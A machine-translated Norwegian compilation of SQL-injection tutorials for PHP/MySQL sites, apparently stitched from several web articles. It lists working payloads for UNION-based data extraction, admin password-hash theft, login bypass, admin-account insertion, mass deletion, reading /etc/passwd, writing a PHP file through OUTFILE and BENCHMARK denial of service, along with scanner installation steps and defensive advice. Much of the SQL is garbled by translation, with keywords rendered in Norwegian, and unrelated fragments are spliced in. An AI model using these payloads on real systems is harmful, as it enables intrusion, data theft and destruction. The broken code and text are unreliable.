SQL-injeksjon. Hva det er? Hvordan finne ut MySQL-versjoner

Uforsiktighet og uoppmerksomhet er to grunner til å skrive kode som er sårbar for SQL-injeksjoner. Den tredje grunnen - uvitenhet, bør oppmuntre programmereren til å utdype sin kunnskap eller til og med endre yrke.

SQL-injeksjon ( SQL-injeksjon) - sårbarhet som oppstår på grunn av utilstrekkelig dataverifisering og behandling, som overføres fra brukeren, og lar deg endre og utføre spørringer uventet av SQL-programkoden.

SQL-injeksjon er en utbredt sikkerhetsfeil på Internett som enkelt kan utnyttes uten spesielle programmer og som ikke krever omfattende teknisk kunnskap. Å utnytte denne sårbarheten åpner døren til store muligheter som:

  • datatyveri - 80%;
  • tjenestenekt - 10 prosent;
  • substitusjon eller ødeleggelse av data - 2-3%;
  • andre saker og intensjoner.

Det finnes også ulike programmer for å teste nettstedsikkerhet for alle typer JS- og SQL-injeksjoner.

Detaljert forklaring

I denne artikkelen vil jeg prøve å forklare de viktigste risikoene som oppstår ved interaksjon med MySQL-databasen. For klarhetens skyld vil jeg gi et eksempel på en enkel databasestruktur, som er typisk for de fleste prosjekter:

LAG DATABASE `nyheter`; BRUK `nyheter`; # # nyhetstabell # CREATE TABLE `news` (`id` int(11) NOT NULL auto_increment, `title` varchar(50) default NULL, `date` datetime default NULL, `text` text, PRIMARY KEY (`id` )) TYPE=MyISAM; # # legg til noen data # INSERT `news` SET `id`="1", `title`="first news", `date`="2005-06-25 16:50:20", `text`=" nyhetstekst"; INSERT `news` SET `id`="2", `title`="andre nyheter", `date`="2005-06-24 12:12:33", `text`="testnyheter"; # # brukertabell # CREATE TABLE `brukere` (`id` int(11) NOT NULL auto_increment, `login` varchar(50) default NULL, `password` varchar(50) default NULL, `admin` int(1) NULL STANDARD "0", PRIMÆR NØKKEL (`id`)) TYPE=MyISAM; # # legg til flere brukere, en med administratorrettigheter, den andre enkel # INSERT `brukere` SET `id`="1", `login`="admin", `password`="qwerty", `admin`="1 " ; INSERT `brukere` SET `id`="2", `login`="bruker", `passord`="1111", `admin`="0";

Vi ser at forespørselen genereres avhengig av verdien av $_GET["id"]. For å se etter en sårbarhet er det nok å endre den til en verdi som kan forårsake en feil ved utføring av SQL-spørringen.

Selvfølgelig kan det ikke være noen feilutgang, men dette betyr ikke at det ikke er noen feil, som et resultat

"Du har en feil i SQL-syntaksen; sjekk bruksanvisningen som tilsvarer MySQL-serverversjonen din for riktig syntaks å bruke nær """ på linje 1"

eller resultat

http://test.com/index.php?id=2-1

hvis det er en sårbarhet, bør den gi et resultat som ligner på

http://test.com/index.php?id=1.

Lignende sårbarheter lar deg endre forespørselen i parameterdelen WHERE. Det første en angriper vil gjøre når en slik sårbarhet oppdages, er å undersøke hvor mange felt som brukes i forespørselen. For å gjøre dette settes en bevisst feil id for å ekskludere utdata av reell informasjon og kombineres med en forespørsel med samme antall tomme felt.

http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null

antall "null" må tilsvare antall felt som brukes i forespørselen.

Hvis spørringen gir en feil, legges en annen tom verdi til inntil feilen forsvinner og et resultat med tomme data returneres. Deretter erstattes de kombinerte feltene med verdier som kan observeres visuelt på siden.

For eksempel:

http://test.com/index.php?id=-1+UNION+SELECT+null

Nå på siden hvor nyhetsoverskriften skulle vises, vil qwerty vises.

Hvordan finne ut MySQL-versjoner?

http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null http://test.com/index.php?id=-1+UNION+SELECT +null,USER(),null,null http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null

Hvordan hente inn påloggingen til gjeldende databasebruker?

http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

Hva er navnet på databasen som brukes?

http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null

Hvordan få andre data fra andre tabeller?

SELECT * FRA `news` WHERE `id`=-1 UNION SELECT null, `passord`, null, null FRA `brukere` WHERE `id`="1";

Dette er en enkel måte å finne ut passordet eller passordhashen til administratoren. Hvis den nåværende brukeren har tilgangsrettigheter til "mysql"-databasen, vil angriperen motta administratorens passordhash uten det minste problem.

Http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user

Nå er valget hans bare et spørsmål om tid.

Søk

Søk er et av de mest sårbare stedene, siden et stort antall søkeparametere overføres samtidig. Et eksempel på et enkelt søk som søker etter nøkkelord:

VELG * FRA `nyheter` HVOR `tittel` LIKER "%$search%" ELLER `tekst` LIKE "%$search%"

$search er ordet som sendes fra skjemaet. En angriper kan sende $search="# i variabelen, nå vil forespørselen se slik ut:

VELG * FRA `nyheter` HVOR `tittel` SOM "%"#%" ELLER `tekst` SOM "%"#%";

Følgelig, i stedet for søkeresultatene for søkeordet, vil alle data vises. Dette lar deg også bruke søkeaggregeringsfunksjonen beskrevet ovenfor.

Ved å bruke ORDER-parameteren

Du kan ofte se at når du legger inn søkeparametere, eller viser informasjon, lar de brukeren sortere data etter bestemte felt. Jeg vil si med en gang at bruk av denne sårbarheten ikke er for farlig, siden det vil forårsake en feil når du prøver å kombinere forespørsler, men i kombinasjon med sårbarheter i andre felt er det fare for å kommentere denne parameteren.

http://test.com/index.php?sort=name

ORDER-parameteren dannes avhengig av $sort-variabelen

Følgende forespørsel vil bli generert:

VELG * FRA `nyheter` HVOR `tittel` LIKE "%"/*%" ELLER `tekst` LIKE "%"/*%" BESTILL ETTER */

og kommenterer dermed en av betingelsene og ORDER-parameteren

Nå kan du kombinere søket igjen ved å tilordne $sort=*/ UNION SELECT...

Som et alternativ for å utnytte sårbarheten til denne parameteren:

VELG * FRA `brukere` ORDER BY LENGTH(passord);

Det vil tillate deg å sortere brukere avhengig av lengden på passordet, forutsatt at det er lagret i en "ren" form.

Autorisasjon

La oss nå prøve å vurdere alternativene for SQL-injeksjoner som oppstår under brukerautorisasjon. Vanligvis ser forespørselen som kontrollerer riktigheten av autorisasjonsdataene slik ut:

VELG * FRA `brukere` HVOR `login`="$login" OG `password`="$password";

hvor $login og $password er variabler som sendes fra skjemaet. Et slikt søk returnerer data for brukeren hvis det lykkes, og et tomt resultat hvis det ikke lykkes. Følgelig, for å gi godkjenning, trenger en angriper bare å endre forespørselen slik at den returnerer et resultat som ikke er null. En pålogging er spesifisert som tilsvarer en ekte bruker, og i stedet for et passord, " OR "1"="1" eller en sann tilstand (1, "a"="a", 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 MELLOM 1 OG 3). Følgelig vil forespørselen genereres som følger:

VELG * FRA `brukere` HVOR `login`="admin" OG `passord`="" ELLER "1"="1";

som vil returnere resultatet, og som et resultat vil føre til uautorisert autorisasjon. Hva om passordene i tabellen er hashed? Da blir passordkontrollen ganske enkelt "deaktivert" ved å kommentere alt som kommer etter `pålogging`. I skjemaet, i stedet for påloggingen, blir påloggingen til den virkelige brukeren tildelt og "# kommenterer dermed passordkontrollen.

VELG * FRA `brukere` HVOR `login`="admin"#" OG `passord`="12345"

som et alternativ "ELLER `id`=2#

VELG * FRA `brukere` HVOR `login`="" ELLER `id`=2#" OG `passord`="12345"

VELG * FRA `brukere` HVOR `login`="" ELLER `admin`="1"#" OG `passord`="12345"

En stor feil er å sjekke passordet slik:

VELG * FRA `brukere` HVOR `login`="$login" OG `passord` SOM "$password"

siden i dette tilfellet passer passordet % for enhver pålogging

INN OG OPPDATERING

Det er imidlertid ikke bare SELECT-er som er et svakt punkt i SQL. INSERT og UPDATE kan ikke være mindre sårbare. La oss si at nettstedet har muligheten til å registrere brukere. Spørsmål som legger til en ny bruker:

En sårbarhet i ett av feltene gjør at forespørselen kan endres med nødvendige data. I påloggingsfeltet legger vi til bruker", "passord", 1)# og legger dermed til en bruker med administratorrettigheter.

INSERT `brukere` SET `login`="bruker", `password`="passord", `admin`="0";

La oss anta at `admin`-feltet er plassert før `login`-feltet, så trikset med å erstatte dataene som kommer etter `login`-feltet fungerer ikke. La oss huske at syntaksen til INSERT-kommandoen lar deg legge til ikke bare én linje, men flere. Et eksempel på en sårbarhet i påloggingsfeltet: $login= bruker", "passord"), (1, "hacker", "passord")#

INSERT INTO `brukere` SET (`admin`, `login`, `passord`) VERDIER (0, "bruker", "passord"), (1, "hacker", "passord")#", "passord") ;

På denne måten opprettes 2 oppføringer, den ene med rettighetene til en enkel bruker, den andre med de ønskede adminrettighetene.

En lignende situasjon med UPDATE

Legger til flere felt for å endre:

$login=", `passord`="", `admin`="1

Så en lignende forespørsel

OPPDATER `brukere` SET `login`="tekanne" HVOR `id`=2;

Endret som følger:

OPPDATER `brukere` SET `login`="", `password`="", `admin`="1" HVOR `id`=2;

Hva vil skje? Brukeren med ID 2 vil endre pålogging og passord til tomme verdier og motta administratorrettigheter. Eller i tilfelle

$login=", `password`="" WHERE `id` =1#

Admin-påloggingsinformasjonen og passordet vil være tomt.

SLETT

Alt er enkelt her, du vil ikke kunne hente eller endre data, men du er alltid velkommen til å slette unødvendige data.

$id=1 ELLER 1=1

SLETT FRA `news` WHERE `id`="1" ELLER 1=1; // sletter alle oppføringer i tabellen.

I stedet for 1=1 kan det være en hvilken som helst sann tilstand nevnt ovenfor. LIMIT-parameteren kan lagres, noe som vil begrense antall slettede linjer, men ikke alltid, den kan ganske enkelt kommenteres ut.

SLETT FRA `news` WHERE `id`="1" OR 1=1# LIMIT 1;

Arbeide med filer via SQL-injeksjon

Jeg tviler sterkt på at dette kan skje hvor som helst, men for å være rettferdig må slike metoder også beskrives. Når filrettigheter er aktivert, kan du bruke kommandoene LOAD_FILE og OUTFILE.

Faren deres kan bedømmes fra spørsmålene nedenfor:

SELECT * FRA `news` WHERE `id`=-1 union velg null,LOAD_FILE("/etc/passwd"),null,null; SELECT * FRA `news` WHERE `id`=-1 UNION SELECT null, LOAD_FILE("/home/test/www/dbconf.php"),null,null;

Men alle problemene slutter ikke der ennå.

SELECT * FRA `news` WHERE `id`=-1 UNION SELECT null,"",null,null FRA `news` inn i utfilen "/home/test/www/test.php";

Slik skriver vi en fil som inneholder PHP-kode. Riktignok vil det i tillegg til koden være flere null-oppføringer i den, men dette vil på ingen måte påvirke ytelsen til PHP-koden. Imidlertid er det flere forhold som gjør at disse metodene vil fungere:

  • FILE-rettigheten er aktivert for gjeldende databasebruker;
  • Rettighetene til å lese eller skrive disse filene er for brukeren som MySQL-serveren kjører under, den absolutte banen til filen;
  • en mindre viktig betingelse er at filstørrelsen må være mindre enn max_allowed_packet, men siden i MySQL 3.23 kan den største pakkestørrelsen være 16 MB, og i 4.0.1 og mer, begrenses pakkestørrelsen kun av mengden tilgjengelig minne, opp til et teoretisk maksimum på 2 GB denne tilstanden vanligvis alltid tilgjengelig.

Magiske sitater

Magiske anførselstegn gjør det umulig å bruke SQL-injeksjoner i strengvariabler, siden de automatisk unnslipper alle " og " som følger med $_GET og $_POST. Men dette gjelder ikke bruk av sårbarheter i heltalls- eller brøkparametere, men med unntak av at det ikke vil være mulig å bruke ". I dette tilfellet hjelper char-funksjonen.

SELECT * FRA `news` WHERE `id`=-1 UNION SELECT null, char(116, 101, 115, 116), null, null;

DOS via SQL-injeksjon.

Jeg glemte nesten å si, og SQL-eksperter vil bekrefte, at UNION-operasjonen bare er mulig i MySQL >=4.0.0. Folk som har prosjekter på tidligere versjoner pustet lettet ut :) Men ikke alt er så trygt som det ser ut ved første øyekast. Angriperens logikk er noen ganger vanskelig å følge. "Hvis jeg ikke kan hacke, vil jeg i det minste mislykkes," vil hackeren tenke og skrive BENCHMARK-funksjonen for en eksempelforespørsel

SELECT * FRA `news` WHERE `id`=BENCHMARK(1000000,MD5(NOW()));

Det tok meg fra 12 til 15 sekunder. Legger til en null - 174 sekunder. Jeg kunne rett og slett ikke rekke opp hånden for å gjøre mer. Selvfølgelig, på kraftige servere vil slike ting bli gjort mye raskere, men...BENCHMARK lar deg investere deg selv en etter en. Som dette:

SELECT * FRA `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW())));

Eller til og med sånn

SELECT * FRA `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW()))));

Og antallet nuller er bare begrenset av "vennligheten" til den som skriver dem.

Jeg tror at selv en VELDIG kraftig maskin ikke lett vil kunne svelge slike forespørsler.

Bunnlinjen

Det er alt. I denne artikkelen prøvde jeg å dekke så mye som mulig hvilke typer sårbarheter som programmerere lager når de lager programmer ved hjelp av MySQL-databaser. Jeg er imidlertid mer enn sikker på at dette ikke er en komplett liste.

Det er viktig å huske reglene mot SQL-injeksjoner

  • Ikke stol på NOEN data som kommer fra brukeren. Vi snakker ikke bare om dataene som overføres i matrisene $_GET og $_POST. Ikke glem $_COOKIE og andre deler av HTTP-hoder. Du bør huske at de er enkle å erstatte.
  • Du bør ikke stole på PHP-alternativet "magiske sitater", som sannsynligvis hindrer mer enn det hjelper. Alle data som overføres til databasen skal oppsummeres etter type med databasefelt. ($id=(int)$_GET["id"]) eller beskyttet av funksjonene mysql_real_escape_string eller mysql_real_escape_string.
  • mysql_real_escape_string unnslipper ikke % og _, så den bør ikke brukes sammen med LIKE.
  • Du bør heller ikke stole for mye på en korrekt skrevet mod_rewrite. Dette er bare måter å lage "praktiske" URL-er på, men absolutt ikke en måte å beskytte mot SQL-injeksjoner.
  • Deaktiver feilrapportering.
  • Ikke hjelp dårlige besøkende. Selv om feilen blir identifisert, vil mangelen på informasjon om den alvorlig hemme bruken av den. Husk forskjellen mellom utviklingsstadiet og arbeidsutkastet. Feil utgang og annen detaljert informasjon - din allierte på utviklingsstadiet, og angriperens allierte i fungerende versjon. Du bør heller ikke skjule dem ved å kommentere i HTML-koden; for hver 1000 besøkende vil det være 1 som fortsatt vil finne slike ting.
  • Håndtere feil.
  • Skriv behandlende SQL-spørringer på en slik måte at informasjon om dem lagres i noen logger eller sendes med post.
  • Ikke lagre databasetilgangsdata i filer som ikke behandles av PHP som kode.
  • Jeg tror ikke jeg har oppdaget Amerika for noen, men fra min egen erfaring kan jeg si at denne praksisen er ganske vanlig. Vanligvis er dette en fil med filtypen *.inc
  • Ikke opprett en database "superbruker".
  • Gi kun de rettighetene som er nødvendige for å utføre bestemte oppgaver.
  • I søket er det verdt å begrense minimum og maksimum antall tegn, som er søkeparametrene.
  • For en ærlig bruker er fra 3 til 60-70 tegn nok til å tilfredsstille søkeinteressene deres, og samtidig forhindrer du situasjoner der søket vil være volumet av "Krig og fred".
  • Sjekk alltid antall poster som returneres etter en spørring

Nesten 90 % av nettstedene er skrevet i PHP Det er en slik logisk feil, dette kan spesielt observeres når en forespørsel gjøres basert på ID mottatt fra brukeren. Hvis du manuelt gir skriptet en ikke-eksisterende ID, vil vi se ganske interessante resultater fra arbeidet med noen skript , i stedet for å returnere 404, vil programmet i beste fall ikke gjøre noe og vises på en tom side.

Trygg SQL til deg.

Antall nettsteder og sider på Internett vokser jevnt og trutt. Alle som kan tar på seg utviklingen. Og nybegynnere webprogrammerere bruker veldig ofte usikker og gammel kode. Og dette skaper mange smutthull for angripere og hackere. Det er det de bruker. En av de mest klassiske sårbarhetene er SQL-injeksjon.

Litt teori

Mange vet at de fleste nettsteder og tjenester på Internett bruker SQL-databaser for å lagre dem. Dette er et strukturert spørringsspråk som lar deg administrere og administrere datavarehus. Det finnes mange forskjellige versjoner av databasestyringssystemer - Oracle, MySQL, Postgre. Uavhengig av navn og type bruker de dataspørringer på samme måte. Det er her den potensielle sårbarheten ligger. Hvis utvikleren ikke var i stand til å behandle forespørselen riktig og sikkert, kan en angriper dra nytte av dette og bruke spesielle taktikker for å få tilgang til databasen, og derfra kontrollere hele nettstedet.

For å unngå slike situasjoner må du optimalisere koden på riktig måte og nøye overvåke hvilken forespørsel som behandles på hvilken måte.

Se etter SQL-injeksjoner

For å fastslå tilstedeværelsen av sårbarheter i nettverket, er det mange ferdige automatiserte programvaresystemer. Men du kan utføre en enkel sjekk manuelt. For å gjøre dette må du gå til et av nettstedene du undersøker og prøve å utløse en databasefeil i adressefeltet. For eksempel kan det hende at et skript på et nettsted ikke behandler forespørsler og vil kanskje ikke kutte dem.

For eksempel er det en bestemt_side/index.php?id=25

Den enkleste måten er å sette et tilbud etter 25 og sende en forespørsel. Hvis det ikke oppstår noen feil, blir enten alle forespørsler filtrert på nettstedet og behandlet på riktig måte, eller utdataene deres er deaktivert i innstillingene. Hvis siden lastet på nytt med problemer, betyr det at det er en sårbarhet for SQL-injeksjon.

Når det er oppdaget, kan du prøve å bli kvitt det.

For å implementere denne sårbarheten må du vite litt om. En av dem er UNION. Den kombinerer flere søkeresultater til ett. På denne måten kan du beregne antall felt i tabellen. Et eksempel på den første forespørselen ser slik ut:

  • some_site/index.php?id=25 UNION SELECT 1.

I de fleste tilfeller bør en slik oppføring generere en feil. Dette betyr at antall felter ikke er lik 1. Ved å velge alternativer fra 1 og flere kan du derfor angi det nøyaktige antallet:

  • some_site/index.php?id=25 UNION SELECT 1,2,3,4,5,6.

Det vil si at når feilen slutter å vises, betyr det at antall felt er riktig.

Det finnes også en alternativ løsning på dette problemet. For eksempel når antallet felt er stort - 30, 60 eller 100. Dette er GROUP BY-kommandoen. Den grupperer søkeresultatene etter noen karakteristika, for eksempel id:

  • some_site/index.php?id=25 GRUPPER ETTER 5.

Hvis det ikke ble mottatt feil, betyr det at det er mer enn 5 felter. Ved å erstatte alternativer fra et ganske bredt spekter kan du derfor beregne hvor mange det faktisk er.

Dette SQL-injeksjonseksemplet er for nybegynnere som vil prøve seg på å teste nettsiden deres. Det er viktig å huske at det er en artikkel i straffeloven for uautorisert tilgang til andres eiendom.

Hovedtyper av injeksjoner

Det er flere alternativer for å implementere sårbarheter gjennom SQL-injeksjon. Følgende er de mest populære metodene:

    UNION injeksjon. Et enkelt eksempel av denne typen er allerede diskutert ovenfor. Det er implementert på grunn av en feil ved kontroll av innkommende data, som ikke er filtrert på noen måte.

    Feilbasert SQL-injeksjon. Som navnet antyder, utnytter denne typen også feil ved å sende uttrykk som er syntaktisk feil. Deretter fanges opp svarhodene, og analyserer som deretter kan brukes til å utføre en SQL-injeksjon.

    Stablet injeksjon. Denne sårbarheten bestemmes av utførelse av sekvensielle forespørsler. Det er karakterisert ved å legge til en ";" på slutten. Denne tilnærmingen implementeres oftest for å få tilgang til implementering av lese- og skrivedata, eller for å kontrollere operativsystemfunksjoner hvis privilegier tillater det.

Programvaresystemer for søk etter SQL-sårbarheter

Tilgjengelig for å utføre SQL-injeksjoner, programmer har vanligvis to komponenter - skanning av et nettsted for mulige sårbarheter og bruke dem for å få tilgang til data. Det finnes slike verktøy for nesten alle kjente plattformer. Deres funksjonalitet gjør det i stor grad lettere å sjekke et nettsted for muligheten for hacking med SQL-injeksjon.

SQLmap

En veldig kraftig skanner som fungerer med de fleste kjente DBMS-er. Støtter ulike SQL-injeksjonsteknikker. Den har muligheten til å automatisk gjenkjenne typen passordhash og knekke den ved hjelp av en ordbok. Det er også funksjonalitet for nedlasting og opplasting av filer fra serveren.

Installasjon i et Linux-miljø utføres ved hjelp av kommandoene:

  • git klone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev,
  • cdsqlmap-dev/,
  • ./sqlmap.py --veiviser.

For Windows er det både en kommandolinje og et grafisk brukergrensesnitt.

jSQL-injeksjon

jSQL Injection er et kryssplattformverktøy for å teste utnyttelse av SQL-sårbarheter. Skrevet i Java, så JRE må være installert på systemet. Kan behandle overskrifts- og informasjonskapselforespørsler. Har et praktisk grafisk grensesnitt.

Installasjonen av denne programvarepakken fortsetter som følger:

wget https://github.com/`curl -s https://github.com/ron190/jsql-injection/releases| grep-E -o "/ron190/jsql-injection/releases/download/v(1,2).(1,2)/jsql-injection-v(1,2).(1,2).jar"| hode-n 1`

Start med kommandoen java -jar ./jsql-injection-v*.jar

For å begynne å sjekke et nettsted for SQL-sårbarheter, må du skrive inn adressen i det øverste feltet. De er separate for GET og for POST. Hvis resultatet er positivt, vil en liste over tilgjengelige tabeller vises i vinduet til venstre. Du kan se dem og finne ut noe konfidensiell informasjon.

For å søke etter administrative paneler, bruk "Admin-side"-fanen. Den søker automatisk etter systemposter for privilegerte brukere ved hjelp av spesielle maler. Fra dem kan du bare få en hash for passord. Men den er også tilgjengelig i programverktøyene.

Etter å ha funnet alle sårbarhetene og injisert de nødvendige forespørslene, vil verktøyet tillate deg å laste opp filen til serveren eller omvendt laste den ned derfra.

SQLi Dumper v.7

Dette programmet er et brukervennlig verktøy for å finne og implementere sårbarheter i SQL. FN produserer dette på grunnlag av såkalte tullinger. Listene deres finnes på Internett. SQL-injeksjonsnøkkelord er spesielle søkemønstre. Med deres hjelp kan du potensielt finne dem gjennom hvilken som helst søkemotor.

Treningsverktøy

Nettstedet itsecgames.com har et spesielt sett med verktøy som lar deg bruke eksempler for å vise hvordan du lager en SQL-injeksjon og tester den. For å bruke den må du laste ned og installere den. Arkivet inneholder et sett med filer som representerer strukturen til nettstedet. For å installere den trenger du et sett med Apache-, MySQL- og PHP-webservere tilgjengelig i systemet.

Etter å ha pakket ut arkivet i webservermappen, må du gå til adressen som ble oppgitt da du installerte dette programvareproduktet. Brukerregistreringssiden åpnes. Her må du skrive inn dataene dine og klikke på "Opprett". Etter å ha overført brukeren til et nytt vindu, vil systemet tilby å velge ett av testalternativene. Blant dem er det både de beskrevne injeksjonene og mange andre testoppgaver.

Det er verdt å se på et eksempel på en SQL-injeksjon som GET/Search. Her må du velge det og klikke på "Hack". Brukeren vil bli presentert med en søkefelt og en imitasjon av et bestemt nettsted med filmer. Du kan gå gjennom filmer i lang tid. Men det er bare 10. Du kan for eksempel prøve å gå inn i Iron Man. Filmen vil bli vist, noe som betyr at siden fungerer og det er tabeller i den. Nå må vi sjekke om skriptet filtrerer spesialtegn, spesielt sitatet. For å gjøre dette må du legge til "" i adressefeltet. Dessuten må dette gjøres etter navnet på filmen. Siden vil vise feilen Feil: Du har en feil i SQL-syntaksen din; sjekk manualen som tilsvarer til MySQL-serverversjonen for riktig syntaks å bruke nær "%"" på linje 1, noe som indikerer at tegnene fortsatt behandles feil. Dette betyr at du kan prøve å erstatte forespørselen din. Men du må først beregne antall felt. For å gjøre dette, bruk rekkefølge etter, som skrives inn etter sitatet: http://testsites.com/sqli_1.php?title=Iron+Man" rekkefølge etter 2 --&action=search.

Denne kommandoen vil ganske enkelt vise informasjon om filmen, det vil si at antall felt er større enn 2. Den doble bindestreken forteller serveren at andre forespørsler skal forkastes. Nå må du iterere, erstatte stadig større verdier til en feil vises. Som et resultat viser det seg at det blir 7 felt.

Nå er det på tide å få noe nyttig fra databasen. Du må endre forespørselen litt i adressefeltet og bringe den til dette skjemaet: http://testsites.com/sqli_1.php?title=Iron+Man" union select 1, database(),user(),4 ,passord,6, 7 fra brukere --&action=search. Som et resultat av kjøringen vil det vises linjer med passordhasher, som enkelt kan konverteres til forståelige tegn ved hjelp av en av netttjenestene. Og med litt magi og ved å velge navnet på påloggingsfeltet, kan du få tilgang til andres post, for eksempel nettstedets administrator.

Produktet har massevis av forskjellige injeksjonstyper å trene med. Det er verdt å huske at bruk av disse ferdighetene på nettet eller på ekte nettsteder kan være straffbart.

Injeksjoner og PHP

Som regel er det PHP-koden som er ansvarlig for nødvendig behandling av forespørsler som kommer fra brukeren. Derfor er det på dette nivået du trenger å bygge beskyttelse mot SQL-injeksjoner i PHP.

  • Data skal alltid behandles før de lagres i databasen. Dette kan oppnås enten ved å bruke eksisterende uttrykk eller ved å organisere spørringer manuelt. Også her er det verdt å vurdere at numeriske verdier konverteres til den typen som er nødvendig;
  • Unngå utseendet til ulike kontrollstrukturer i forespørselen.

Nå litt om reglene for å komponere spørringer i MySQL for å beskytte mot SQL-injeksjoner.

Når du skriver spørringsuttrykk, er det viktig å skille dataene fra SQL-nøkkelordene.

  • VELG * FRA tabell HVOR navn = Zerg.

I denne utformingen kan systemet tenke at Zerg er navnet på et felt, så det må omsluttes av anførselstegn.

  • VELG * FRA tabell HVOR navn = "Zerg".

Det er imidlertid situasjoner der verdien i seg selv inneholder anførselstegn.

  • VELG * FRA tabell HVOR navn = "Elfenbenskysten".

Her vil bare en del av cat-d bli behandlet, og resten kan oppfattes som en kommando, som selvfølgelig ikke eksisterer. Derfor vil det oppstå en feil. Dette betyr at denne typen data må screenes. For å gjøre dette, bruk omvendt skråstrek - \.

  • VELG * FRA tabell HVOR navn = "Elfenbenskysten".

Alt ovenfor gjelder strenger. Hvis handlingen skjer med et tall, trenger den ikke noen anførselstegn eller skråstreker. De må imidlertid tvinges til å konverteres til den nødvendige datatypen.

Det er en anbefaling om at feltnavnet skal vedlegges et bakanførselstegn. Dette symbolet er plassert på venstre side av tastaturet, sammen med tilde "~"-tegnet. Dette er nødvendig slik at MySQL nøyaktig kan skille feltnavnet fra nøkkelordet.

Dynamisk arbeid med data

Svært ofte brukes dynamisk genererte spørringer for å hente data fra databasen. For eksempel:

  • VELG * FRA tabell WHERE nummer = "$nummer".

Her sendes variabelen $nummer som definisjon av feltverdien. Hva vil skje hvis Elfenbenskysten kommer inn i det? Feil.

Selvfølgelig kan du unngå dette problemet ved å slå på "magiske anførselstegn" i innstillingene. Men nå skal dataene screenes der det er nødvendig og der det ikke er nødvendig. I tillegg, hvis koden er skrevet for hånd, kan du bruke litt mer tid på å lage et hack-resistent system selv.

For å legge til en skråstrek selv, kan du bruke mysql_real_escape_string.

$nummer=mysql_real_escape_string($nummer);

$year=mysql_real_escape_string($year);

$query="INSERT INTO tabell (tall,år,klasse) VERDIER ("$nummer","$år",11)".

Selv om koden har vokst i volum, vil den fortsatt potensielt fungere mye sikrere.

Plassholdere

Plassholdere er unike markører som systemet vet at en spesiell funksjon må settes inn på dette stedet. For eksempel:

$sate = $mysqli->prepare("SELECT District FROM Number WHERE Name=?");

$sate->bind_param("s", $nummer);

$sate->execute();

Denne delen av koden forbereder en forespørselsmal, binder deretter tallvariabelen og kjører den. Denne tilnærmingen lar deg skille forespørselsbehandling og implementering av den. På denne måten kan du beskytte deg selv mot å bruke ondsinnet kodeinjeksjon i SQL-spørringer.

Hva kan en angriper gjøre?

Systembeskyttelse er en svært viktig faktor som ikke kan neglisjeres. Selvfølgelig vil et enkelt visittkortnettsted være lettere å gjenopprette. Hva om det er en stor portal, tjeneste, forum? Hvilke konsekvenser kan det få hvis du ikke tenker på sikkerhet?

For det første kan en hacker krenke både integriteten til databasen og slette den helt. Og hvis nettstedadministratoren eller -verten ikke tok en sikkerhetskopi, vil det være vanskelig. I tillegg kan en angriper som har hacket ett nettsted, flytte til andre som er vert på samme server.

Deretter kommer tyveri av besøkendes personopplysninger. Hvordan du bruker dem er bare begrenset av hackerens fantasi. Men uansett blir ikke konsekvensene særlig hyggelige. Spesielt hvis den inneholdt finansiell informasjon.

En angriper kan også lekke databasen til seg selv og deretter presse penger for retur.

Feilinformasjon av brukere på vegne av en person som ikke er dem kan også ha negative konsekvenser, siden tilfeller av svindel er mulig.

Konklusjon

All informasjon i denne artikkelen er kun gitt for informasjonsformål. Du bør bare bruke den til å teste dine egne prosjekter når du identifiserer sårbarheter og eliminerer dem.

For en mer dyptgående studie av metodikken for hvordan du utfører en SQL-injeksjon, må du begynne med å faktisk undersøke egenskapene og funksjonene til SQL-språket. Hvordan spørringer er sammensatt, nøkkelord, datatyper og bruken av alt dette.

Du kan heller ikke gjøre uten å forstå hvordan PHP-funksjoner og HTML-elementer fungerer. De viktigste sårbare punktene for bruk av injeksjoner er adressefeltet, søk og ulike felt. Å studere PHP-funksjoner, hvordan de implementeres og deres evner vil hjelpe deg å forstå hvordan du kan unngå feil.

Tilstedeværelsen av mange ferdige programvareverktøy lar deg gjennomføre en grundig analyse av nettstedet for kjente sårbarheter. Et av de mest populære produktene er kali linux. Dette er et bilde av et Linux-basert operativsystem, som inneholder et stort antall verktøy og programmer som kan utføre en omfattende analyse av nettstedet for styrke.

Hvorfor trenger du å vite hvordan du hacker et nettsted? Alt er veldig enkelt - dette er nødvendig for å ha en ide om de potensielt sårbare områdene på prosjektet eller nettstedet ditt. Spesielt hvis dette er en nettbutikk med mulighet til å betale online, hvor brukerens betalingsdata kan bli kompromittert av en angriper.

For profesjonell forskning vil informasjonssikkerhetstjenester kunne sjekke nettstedet i henhold til ulike kriterier og dybde. Fra enkel HTML-injeksjon til social engineering og phishing.

Vi ønsker deg suksess med å fullføre den. Resultatene av passasjen din vil bli publisert senere (følg nyhetene på sosiale nettverk), og alle de som har bestått vil også få tilsendt en invitere for å registrere deg på siden.

Lik, del med venner og kolleger, repost på sosiale nettverk.

Alle programmerere har lest eller i det minste hørt om metoder for hacking av nettstedsikkerhet. Eller til og med støtt på dette problemet. På den annen side er fantasien til de som ønsker å bryte siden uendelig, så alle flaskehalser må være godt beskyttet. Derfor vil jeg starte en serie med korte artikler som vil introdusere grunnleggende hackingmetoder og teknikker for nettsteder.

I den første artikkelen vil jeg beskrive og forklare noen vanlige metoder for å hacke en av de mest sårbare delene av nettstedet - skjemaer. Jeg vil gå i detalj om hvordan du bruker disse teknikkene og hvordan du kan forhindre angrep, samt dekke sikkerhetstesting.

SQL-injeksjon

SQL-injeksjon er en teknikk der en angriper legger inn SQL-kommandoer i et inndatafelt på en nettside. Denne imput kan være hva som helst - et tekstfelt i et skjema, _GET- og _POST-parametere, informasjonskapsler osv. Denne metoden var veldig effektiv før bruken av rammeverk i PHP-verdenen. Men dette hacket kan fortsatt være farlig hvis du ikke bruker en ORM eller andre utvidelser til dataobjektet. Hvorfor? På grunn av måten parametere sendes til SQL-spørringen.

"Blinde" injeksjoner

La oss starte med et klassisk eksempel på en SQL-setning som returnerer brukeren med påloggings- og passordhash (påloggingsside)

Eksempel 1

mysql_query("SELECT id, login FROM users WHERE login = ? og passord = hash(?)");

